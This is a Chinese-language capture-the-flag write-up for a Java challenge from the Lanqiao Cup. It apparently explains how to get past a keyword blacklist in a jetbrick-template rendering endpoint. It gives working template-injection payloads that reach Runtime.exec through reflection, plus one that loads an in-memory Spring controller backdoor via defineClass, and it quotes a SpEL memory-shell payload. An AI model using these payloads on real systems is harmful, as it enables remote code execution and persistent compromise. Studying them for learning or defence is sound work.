前言
蓝桥杯初赛的时候出了一道java题,当时java水平菜得不行,最近看到有wp,正好来学习一下
解题
这个题就简单说了吧,题目代码如下
package ctf.construction.ezjava.controller;
import java.io.StringWriter;
import java.util.Map;
import jetbrick.template.JetEngine;
import jetbrick.template.JetTemplate;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
/* loaded from: IndexController.class */
public class IndexController {
@RequestMapping(value = {"/"}, method = {RequestMethod.GET})
@ResponseBody
public String index() {
return "Index";
}
@RequestMapping(value = {"/"}, method = {RequestMethod.POST})
@ResponseBody
public String render_tmp(@RequestParam String str) {
if (str.contains("new") || str.contains("spring") || str.contains("Class") || str.contains("UNIXProcess") || str.contains("ProcessBuilder") || str.contains("Runtime")) {
return "NO RCE";
}
JetTemplate template = JetEngine.create().createTemplate(str);
StringWriter out = new StringWriter();
template.render((Map) null, out);
System.out.println(out.toString());
return "RCE";
}
}
可以明显看到的是一个template去解析,然后有一些的过滤,去问下gpt这是什么意思
这段代码是使用 JetTemplate 引擎(一种Java模板引擎)来渲染模板的示例。它涉及几个关键的Java类和方法。下面是对每一部分的详细解释:
复制代码
JetTemplate template = JetEngine.create().createTemplate(str);
JetEngine.create(): 这是 JetEngine 类的一个静态方法,用于创建一个 JetEngine 实例。JetEngine 是处理模板的核心组件,负责编译和管理模板。
createTemplate(str): 这个方法从给定的字符串 str 中创建一个 JetTemplate 对象。这里的 str 应该包含模板内容,该模板内容定义了如何渲染数据。str 可以是直接的模板字符串,或者是模板文件的路径。
我们看看这个模板的基础语法
https://subchen.github.io/jetbrick-template/2x/syntax-expression.html
重点的就几个
函数调用 function
jetbrick-template 还支持函数调用,如 ${now()}, ${fileGet("/test.txt")}。
静态字段调用 Class::Field
Class::Field
${Long::MAX_VALUE}
${java.lang.Long::MAX_VALUE}
静态方法调用 Class::method
Class::method(...)
${Collections::emptyList()}
${java.lang.Long::valueOf("123")}
题目不出网
想法肯定是打内存马,然后需要获取我们的类加载器,都是注入,我们可以参考我们的spel表达式注入打内充马
这里也是Spring的环境,在spel中
T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString(''),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()
我们使用Spring的工具类ReflectUtils,这个非常强大,反射的方法它都有
这里就重点看我们的
public static Class defineClass(String className, byte[] b, ClassLoader loader) throws Exception {
return defineClass(className, b, loader, (ProtectionDomain)null, (Class)null);
}
可以看到是接收三个参数,第一个名称,字节,加载器
然后本题我们参照这个模板的语法,来实现注入内存马
首先是要绕过这些字符串,这里拿如何弹出我们的计算器来举例子,明白这个语法
首先不能直接实例化我们的类,我们只能反射去实例化执行方法
获取方法
#set(exec=sun.reflect.misc.ReflectUtil::forName('java.lang.Run'+'time').getMethod('exec',String::class))
获取构造器
#set(cons=sun.reflect.misc.ReflectUtil::forName('java.lang.Run'+'time').getDeclaredConstructor())
因为是私有的
${cons.setAccessible(true)}
实例化类
#set(runtime=cons.newInstance())
反射执行方法
${exec.invoke(runtime,'calc.exe')}
连起来就是
String str = "#set(exec=sun.reflect.misc.ReflectUtil::forName('java.lang.Run'+'time').getMethod('exec',String::class))"
+"#set(cons=sun.reflect.misc.ReflectUtil::forName('java.lang.Run'+'time').getDeclaredConstructor())"
+"${cons.setAccessible(true)}"
+"#set(runtime=cons.newInstance())"
+"${exec.invoke(runtime,'calc.exe')}";
运行弹出计算器
然后我们只需要按照上面的paylaod去打内存马就好了
那就要去获取我们的classloader的defindclass方法去加载我们的字节码
String str = "#set(java.lang.reflect.Method defindclassMethod = sun.reflect.misc.ReflectUti
l::forName('java.lang.Clas'+'sLoader').getDeclaredMethod('defineCl'+'ass', String::class, byt
e[]::class, int::class, int::class))" +
"${defindclassMethod.setAccessible(true)}" +
"#set(byte[] code = java.util.Base64::getDecoder().decode('...'))" +
"#set(java.lang.reflect.Method instance = sun.reflect.misc.ReflectUtil::forName('java.lang.C
l'+'ass').getMethod('ne'+'wInstance'))" +
"${instance.setAccessible(true)}" +
"#set(java.lang.Thread t = Thread::currentThread())" +
"${instance.invoke(defindclassMethod.invoke(" +
"sun.reflect.misc.ReflectUtil::forName('java.lang.Thread').getDeclaredMethod('getContextCl
a'+'ssLoader').invoke(t), " +
"'org.example.memshell.serialize.spr'+'ing.EvilControllerBypass', code, 0, code.length))}";